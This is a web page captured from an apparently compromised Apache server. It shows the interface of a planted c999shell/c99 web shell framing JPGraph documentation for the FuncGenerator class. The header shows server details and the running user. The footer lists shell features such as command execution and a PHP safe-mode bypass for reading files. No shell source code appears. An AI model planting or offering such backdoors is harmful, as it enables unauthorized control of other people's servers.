Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: FuncGenerator.html (6.33 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CLASS FuncGenerator
(Defined in: jpgraph.php : 673)
Class usage and Overview A utility class to help with function plots. This class supprots both ordinary one-variable plots with one dependent variable as well as polar plots.
Basically you create an instance of this class with the function you want to plot as a string argument. The function should be created using 'x' as the independent variable. You then invoke its evaluation method 'E()' with the range for the independent variable and possibly a step size. The method then returns an array of X, and Y values that represents the plot.
Please remember that the string should be specified with single quotes since otherwise PHP will try to interpret the variable in the string.
For example, to specify a simple cos() plot you specify:
$f = new FuncGenerator('cos($x)';
Class Methods
Description Evaluate the previous specified function between the specified values. The return two arrays representing the X and Y coordinates for the function. Example $f = new FuncGenerator('cos($x) * sin($x)'); list($xdata,$ydata) = $f->E(-2*M_PI, 2*M_PI); $lp1 = new LinePlot($ydata,$xdata); // Create a simple polar plot (a circle) $p = new FuncGenerator('cos($i)', 'sin($i)'); list($x2data,$y2data) = $f->E(-2*M_PI, 2*M_PI); $lp2 = new LinePlot($y2data,$x2data); //...
Description Creates a new funciton generator. You can create both a linear plot as well as polar plot.
For linear, one-variable plots, you must use '$x' as the independent variable.
For polar plots you should use the index '$i' for the generating functions.
Example $f = new FuncGenerator('cos($x) * sin($x)'); list($xdata,$ydata) = $f->E(-2*M_PI, 2*M_PI); $lp1 = new LinePlot($ydata,$xdata); // Create a simple polar plot (a circle) $p = new FuncGenerator('cos($i)', 'sin($i)'); list($x2data,$y2data) = $f->E(-2*M_PI, 2*M_PI); $lp2 = new LinePlot($y2data,$x2data); //...
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0254 ]-- |